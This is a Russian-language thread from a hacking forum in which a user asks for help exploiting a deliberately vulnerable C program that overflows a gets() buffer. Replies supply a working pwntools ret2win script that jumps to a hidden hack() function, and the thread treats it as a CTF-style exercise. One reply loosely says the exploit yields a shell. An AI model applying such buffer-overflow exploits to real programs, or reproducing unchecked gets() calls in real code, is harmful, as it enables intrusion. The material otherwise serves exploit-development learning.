• XSS.stack #1 – первый литературный журнал от юзеров форума

PWN pwntools - эксплойт переполнения буфера

k1ddddos

(L3) cache
Пользователь
Регистрация
02.05.2023
Сообщения
290
Реакции
43
Здравствуйте! Бьюсь уже какую неделю с программой, никак не могу написать к ней эксплойт с pwntools, помогите пожалуйста.
Уязвимость: переполнение буфера

Вот сама программа код на с, нужно скомпилировать
C:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


int main(int argc, char* argv[]){
    printf("Welcome to NoVulnApp. \n");
    getName();

}

void getName(){
    char name[50];
    printf("Enter your name: ");

    gets(name);
    printf("Your name: %s\n", name);
}


void hack() {
    printf("Good job! You are the best hacker!\n");
}
 
Последнее редактирование модератором:
Решение
It's pretty simple tho

# Step 1: Determine the offset
offset = 0
# You can use cyclic() and cyclic_find() functions from pwntools to find the offset
# offset = cyclic_find(cyclic(50).find(b'A'))

# Step 2: Find the address of the hack() function
elf = ELF('./NoVulnApp')
hack_addr = elf.symbols['hack']

# Step 3: Craft the exploit payload
payload = b'A' * offset + p32(hack_addr)

# Connect to the remote system (if needed)
# r = remote('localhost', 12345)

# Send the payload
# r.sendline(payload)

# Get the output
# output = r.recvuntil('Good job! You are the best hacker!\n')

# Print the output
# print(output)

# Close the connection
# r.close()

Python:
from pwn import *

binary = './NoVulnApp'
elf = ELF(binary)
p = process(binary)

padding...
А на чем ты застопорился? Эксплоит очень простой, надо только найти смещение до eip/rip и все. Посылаешь буфер "a"*offset + hacks_addr и все. Инструкция ret автоматически возьмет перезаписанный адрес возврата со стека и прыгнет на него.
 
А на чем ты застопорился? Эксплоит очень простой, надо только найти смещение до eip/rip и все. Посылаешь буфер "a"*offset + hacks_addr и все. Инструкция ret автоматически возьмет перезаписанный адрес возврата со стека и прыгнет на него.
на адресе, но потом решил проблему через деббагер, а оффсет тогда найду, а как мне добавить шеллкод туда?
 
на адресе, но потом решил проблему через деббагер, а оффсет тогда найду, а как мне добавить шеллкод туда?
Получается + shellcode?
 
Если это ctf-подобная таска(что мне и кажется), то тебе не нужен шеллкод, на сервере куда ты подключаешься та же программа, но с модифированной функцией hack(), которая должна отдать тебе флаг (прими его через recv). У тебя получается вызвать hack()?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
It's pretty simple tho

# Step 1: Determine the offset
offset = 0
# You can use cyclic() and cyclic_find() functions from pwntools to find the offset
# offset = cyclic_find(cyclic(50).find(b'A'))

# Step 2: Find the address of the hack() function
elf = ELF('./NoVulnApp')
hack_addr = elf.symbols['hack']

# Step 3: Craft the exploit payload
payload = b'A' * offset + p32(hack_addr)

# Connect to the remote system (if needed)
# r = remote('localhost', 12345)

# Send the payload
# r.sendline(payload)

# Get the output
# output = r.recvuntil('Good job! You are the best hacker!\n')

# Print the output
# print(output)

# Close the connection
# r.close()

Python:
from pwn import *

binary = './NoVulnApp'
elf = ELF(binary)
p = process(binary)

padding = b'A' * 64 
hack_address = p64(elf.sym['hack'])  # Get the address of the hack() function
payload = padding + hack_address

p.sendlineafter(b'Enter your name: ', payload)

p.interactive()

The exploit script first sets up the target binary and creates a process to interact with it.
It then crafts a payload consisting of enough padding to overflow the buffer and the address of the hack() function.
After sending the payload to the program, it hijacks the control flow and executes the hack() function.
Finally, it interacts with the shell to gain control after the exploit succeeds.
 
Решение
Пожалуйста, обратите внимание, что пользователь заблокирован
Как тебе сказали выше просто узнай адрес функции hack() и вычисли смещение.

А так там не нужен шелл-код, если конечно тебе не требуется узнать флаг, а нужно только вызвать функцию hack()
 
Как тебе сказали выше просто узнай адрес функции hack() и вычисли смещение.

А так там не нужен шелл-код, если конечно тебе не требуется узнать флаг, а нужно только вызвать функцию hack()
Смещение выяснил, спасибо большое
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх